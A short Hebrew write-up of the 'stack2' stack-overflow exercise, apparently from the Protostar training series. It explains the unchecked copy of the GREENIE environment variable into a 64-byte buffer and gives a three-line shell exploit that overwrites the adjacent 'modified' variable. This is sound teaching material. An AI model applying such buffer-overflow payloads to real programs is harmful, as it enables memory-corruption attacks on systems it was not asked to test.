המטרה שלנו: לשנות את המשתנה modified ולתת לו ערך של 0x0d0a0d0a.  
התוכנית תשתמש בenviorment variable בשם GREENIE ותכניס אותו למשתנה variable.  
אם המשתנה סביבה לא קיים התוכנית תצא.  
נשים לב שאין בדיקה לאורך של המשתנה GREENIE ויותר מזה לא מקצים זיכרון למשתנה Variable, לכן נוכל לכתוב כמה תווים שנרצה ולדרוס משתנים אחרים.

כיוון שכך הstack שלנו יראה כאשר נכניס לbuffer שמוגדר כ 64 תווים ערך גדול יותר נדרוס את הbuffer כלפי מטה

|  |
| --- |
| Variable |
| modified |
| Old ebp |
| Ret address |
| ????? |

מה שעשיתי היה ליצור משתנה סביבה חדש בשם GREENIE עם הערך 64 פעמים a ולאחר מכן את הערך ההקסא 0x0d0a0d0a.

EXPLOIT:

GREENIE=$(python -c "print 'a'\*64 + '\x0a\x0d\x0a\x0d'")

export GREENIE

./stack2